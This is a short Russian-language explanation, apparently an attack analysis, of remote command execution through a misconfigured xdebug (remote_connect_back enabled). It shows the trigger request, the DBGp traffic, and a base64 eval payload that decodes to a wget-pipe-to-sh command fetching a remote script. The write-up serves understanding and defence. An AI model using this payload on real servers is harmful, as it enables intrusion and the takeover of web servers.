Атака позволяет выполнять системные комманды от имени пользователя вебсервера.
Статьи на тему:
xpwn - exploiting xdebug enabled servers
xdebug < 2.5.5 - OS Command Execution (Metasploit)
Основная проблема заключается в уязвимой конфирурации xdebug.ini, а именно во включенной удаленной отладке c опцией xdebug.remote_connect_back = 1:
xdebug.remote_connect_back = 1
xdebug.remote_enable = 1
Пример атаки:
5.8.54.27 - IP адрес атакующего клиента
192.168.1.99 - IP адрес атакуемого сервера
-
Атакующий клиент делает GET-запрос к серверу по протоколу HTTP:
5.8.54.27:47927 => 192.168.1.99:80
GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
Host: 91.193.237.57
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
Connection: close
Accept-Encoding: gzip
-
В ответ на запрос php-модуль Xdebug на атакуемом сервере формирует ответ, используя протокол DBGp.
В случае успешного соединения атакующий клиент получает данные в формате XML на 9000 порт:
192.168.1.99:52616 => 5.8.54.27:9000
<?xml version="1.0" encoding="iso-8859-1"?>
<init xmlns="urn:debugger_protocol_v1" xmlns:xdebug="http://xdebug.org/dbgp/xdebug"
fileuri="file:///var/www/work/web/index.php" language="PHP" protocol_version="1.0"
appid="2904" idekey="phpstorm">
<engine version="2.3.3"><![CDATA[Xdebug]]></engine>
<author><![CDATA[Derick Rethans]]></author>
<url><![CDATA[http://xdebug.org]]></url>
<copyright><![CDATA[Copyright (c) 2002-2015 by Derick Rethans]]></copyright>
</init>
-
Теперь атакующий клиент выполнет комманды по протоколу DBGp от имени пользователя вебсервера.
5.8.54.27:9000 => 192.168.1.99:52616
eval -i 1 -- c2hlbGxfZXhlYygnd2dldCAtcSAtTyAtIGh0dHA6Ly8xLjExMS4xMTEuMTExL2V4cGxvaXQuc2h8c2gnKTs=
Данная комманда выполняет php код: shell_exec('wget -q -O - http://1.111.111.111/exploit.sh|sh');